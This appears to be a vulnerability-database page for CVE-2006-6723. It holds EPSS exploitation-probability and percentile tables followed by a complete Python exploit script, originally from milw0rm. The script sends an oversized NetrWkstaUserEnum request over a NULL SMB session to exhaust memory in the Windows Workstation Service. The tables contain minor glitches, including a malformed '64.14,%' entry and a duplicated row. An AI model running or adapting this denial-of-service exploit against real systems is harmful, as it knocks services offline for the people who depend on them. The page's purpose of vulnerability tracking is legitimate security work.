CVE-2006-6723 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	24.73%	–	–
2022-04-03	–	–	24.73%	–	–
2023-03-12	–	–	–	95.35%	–
2023-03-19	–	–	–	95.65%	–
2023-06-04	–	–	–	95.69%	–
2023-08-20	–	–	–	94.93%	–
2023-09-24	–	–	–	93.65%	–
2023-11-05	–	–	–	92.32%	–
2023-12-10	–	–	–	90.91%	–
2024-02-25	–	–	–	89.1%	–
2024-03-31	–	–	–	86.79%	–
2024-06-02	–	–	–	87.64%	–
2024-07-07	–	–	–	89.76%	–
2024-11-17	–	–	–	90.21%	–
2024-12-22	–	–	–	7.79%	–
2025-01-19	–	–	–	7.79%	–
2025-03-18	–	–	–	–	63.36%
2025-03-30	–	–	–	–	64.14%
2025-03-30	–	–	–	–	64.14,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	95%
2022-04-03	97%
2023-03-12	99%
2023-03-19	99%
2023-06-04	99%
2023-08-20	99%
2023-09-24	99%
2023-11-05	99%
2023-12-10	99%
2024-02-25	99%
2024-03-31	99%
2024-06-02	99%
2024-07-07	99%
2024-11-17	99%
2024-12-22	94%
2025-01-19	94%
2025-03-18	98%
2025-03-30	98%
2025-03-30	98%

#!/usr/bin/python # MS Windows Workstation Service NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit # Bug discovered by h07 <h07@interia.pl> # Tested on:.. # - Windows XP SP2 Polish # - Windows 2000 SP4 Polish + All Microsoft Security Bulletins # Example: # # wks_dos.py 192.168.0.2 512 # # [*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit # [*] Coded by h07 <h07@interia.pl> # [*] Connecting to 192.168.0.2:445 (NULL Session) # [+] Connected # [+] The NETBIOS connection with the remote host timed out. # [+] 192.168.0.2: Out of memory # [+] Done # # NetrWkstaUserEnum(max_len = 1024 * 1024 * 512) # Exploit --> NULL Session --> PIPE: browser --> NetrWkstaUserEnum() --> Windows XP # svchost.exe memory usage: 512 MB ## from impacket.structure import Structure from impacket.nmb import NetBIOSTimeout from impacket.dcerpc import transport from impacket import uuid from struct import pack from string import atoi from sys import argv from sys import exit print "\n[*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit" print "[*] Coded by h07 <h07@interia.pl>" if(len(argv) < 3): print "[*] Usage: %s <host> <memory_size(MB)>" % (argv[0]) print "[*] Sample: %s 192.168.0.1 512" % (argv[0]) exit() MB = 1024 * 1024 host = argv[1] memory_size = MB * atoi(argv[2]) pipe = 'browser' UUID = ('6bffd098-a112-3610-9833-46c3f87e345a', '1.0') stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]" stringbinding %= {'host':host, 'pipe':pipe} def utf16(str): return str.encode('utf_16_le') class B1(Structure): alignment = 4 structure = ( ('id', '<L=0x41414141'), ('max', '<L'), ('offset', '<L=0'), ('actual', '<L'), ('str', '%s'), ) class NetrWkstaUserEnum(Structure): alignment = 4 opnum = 2 structure = ( ('server', ':', B1), ('info_level1', '<L=1'), ('info_level2', '<L=1'), ('referent_id1', '<L=0x42424242'), ('num_entries', '<L=0'), ('null_pointer', '<L=0'), ('max_len', '<L'), ('referent_id2', '<L=0x43434343'), ('enumeration_handle', '<L=0x00000000'), ) query = NetrWkstaUserEnum() server = "%s\x00" % (host) query['server'] = B1() query['server']['id'] = 0x41414141 query['server']['actual'] = len(server) query['server']['max'] = len(server) query['server']['str'] = utf16(server) query['max_len'] = memory_size trans = transport.DCERPCTransportFactory(stringbinding) print "[*] Connecting to %s:445 (NULL Session)" % (host) try: trans.connect() except Exception, err: print "[-] %s" % (err) exit() print "[+] Connected" dce = trans.DCERPC_class(trans) dce.bind(uuid.uuidtup_to_bin((UUID[0], UUID[1]))) dce.call(query.opnum, query) try: raw = dce.recv() status = raw[-4:] if(status == pack("<L", 0x00000005)): print "[-] Return code: Access denied" exit() if(status == pack("<L", 0x00000008)): print "[-] Return code: Memory allocation error, out of memory" exit() if(status == pack("<L", 0x00000000)): print "[+] Return code: Success, memory allocated" except NetBIOSTimeout, err: print "[+] %s" % (err) print "[+] %s: Out of memory" % (host) print "[+] Done" # EoF # milw0rm.com [2006-12-25]